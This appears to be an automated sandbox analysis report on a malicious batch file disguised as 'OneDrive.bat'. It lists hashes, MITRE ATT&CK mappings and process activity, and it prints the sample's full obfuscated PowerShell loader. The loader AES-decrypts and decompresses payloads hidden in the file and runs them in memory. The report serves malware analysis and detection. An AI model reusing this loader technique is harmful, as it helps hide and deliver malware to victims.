c43b6042c5e1f2cf58376a0f3a603fc31dac3582a2550feb039c2b6b12f4561e

Analysis

max time kernel
1s
max time network
0s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
07/09/2024, 02:17

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General

Target

OneDrive.bat
Size

1.3MB
MD5

6751f819cf5b4df6f0b3ef0c4d67df70
SHA1

253fb36b79aeba90a296fe97c0036c52df2c60bc
SHA256

c43b6042c5e1f2cf58376a0f3a603fc31dac3582a2550feb039c2b6b12f4561e
SHA512

07714e6bc30a72865f75297ab9fa6725b8cc817b4839bd2551e683ecab513920ac266ac498cbc9d90638b31ef3d087d7d2bcb19a69604ecaaf46d47ea0eccaa9
SSDEEP

24576:w8jhgFN6tS6yfyTTQCAKcJSmq4Iu1uaQg/8UHSx99Busn/eE3as:wpu2yTtJ6AgJcAsn/bas

Score

6^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2816	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2816	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2816	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2816	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2480 wrote to memory of 2816	2480	cmd.exe	31
PID 2480 wrote to memory of 2816	2480	cmd.exe	31
PID 2480 wrote to memory of 2816	2480	cmd.exe	31
PID 2480 wrote to memory of 2816	2480	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\OneDrive.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2480
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lH0qoilpQ2ZsY8zf17BB+J/QzZZKgDT5mpOAWjfqrdk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kuH5GYB2aEsnfiIMYsfruA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aDBue=New-Object System.IO.MemoryStream(,$param_var); $sQlXi=New-Object System.IO.MemoryStream; $qsRvI=New-Object System.IO.Compression.GZipStream($aDBue, [IO.Compression.CompressionMode]::Decompress); $qsRvI.CopyTo($sQlXi); $qsRvI.Dispose(); $aDBue.Dispose(); $sQlXi.Dispose(); $sQlXi.ToArray();}function execute_function($param_var,$param2_var){ $SCIaU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TaffC=$SCIaU.EntryPoint; $TaffC.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\OneDrive.bat';$kLrvB=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\OneDrive.bat').Split([Environment]::NewLine);foreach ($RVWSd in $kLrvB) { if ($RVWSd.StartsWith(':: ')) { $WlsSp=$RVWSd.Substring(3); break; }}$payloads_var=[string[]]$WlsSp.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2816-2-0x0000000074611000-0x0000000074612000-memory.dmp

Filesize
4KB

Download
memory/2816-3-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2816-5-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2816-4-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2816-6-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download
memory/2816-7-0x0000000074610000-0x0000000074BBB000-memory.dmp

Filesize
5.7MB

Download